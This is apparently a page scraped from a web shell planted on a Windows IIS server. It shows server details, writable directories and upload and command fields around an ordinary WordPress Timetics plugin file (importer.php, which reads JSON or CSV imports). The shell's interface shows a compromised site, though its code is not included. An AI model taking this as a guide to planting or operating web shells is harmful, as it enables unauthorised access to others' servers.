403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Time/wp-content/plugins/timetics/base/importer.php
<?php
/**
 * Data Importer Class
 *
 * @package Timetics
 */
namespace Timetics\Base;

use Exception;
use Timetics\Utils\Validator;

/**
 * Class Importer
 */
abstract class Importer {
    use Validator;

    /**
     * Store file
     *
     * @var array
     */
    protected $file;

    /**
     * Store data that will be imported
     *
     * @var array
     */
    protected $data;

    /**
     * Store number of rows
     *
     * @var integer
     */
    protected $total_row = 0;

    /**
     * Store total imported rows
     *
     * @var integer
     */
    protected $total_imported_row;

    /**
     * Import data
     *
     * @return mixed
     */
    abstract function import();

    /**
     * Read file that will be imported
     *
     * @param   array  $file
     *
     * @return  void
     */
    public function read_file() {
        $file = $this->file;
        $file_type = ! empty( $file['type'] ) ? $file['type'] : '';
        $file_name = ! empty( $file['tmp_name'] ) ? $file['tmp_name'] : '';

        switch ( $file_type ) {
        case 'application/json':
            $this->data = JsonReader::get_data( $file_name );
            break;
        case 'text/csv':
            $this->data = CsvReader::get_data( $file_name );
            break;
        default:
            throw new Exception( esc_html__( 'You must provide a valid file type', 'timetics' ) );
        }

        $this->set_total_row();
    }

    /**
     * Get total number of rows
     *
     * @return  integer
     */
    public function get_total_rows() {
        return $this->total_row;
    }

    /**
     * Set total row
     *
     * @return void
     */
    protected function set_total_row() {
        if ( ! $this->data ) {
            return;
        }

        $this->total_row = count( $this->data );
    }

    /**
     * Get total imported rows
     *
     * @return  integer
     */
    public function get_total_imported_rows() {
        return $this->total_imported_row;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit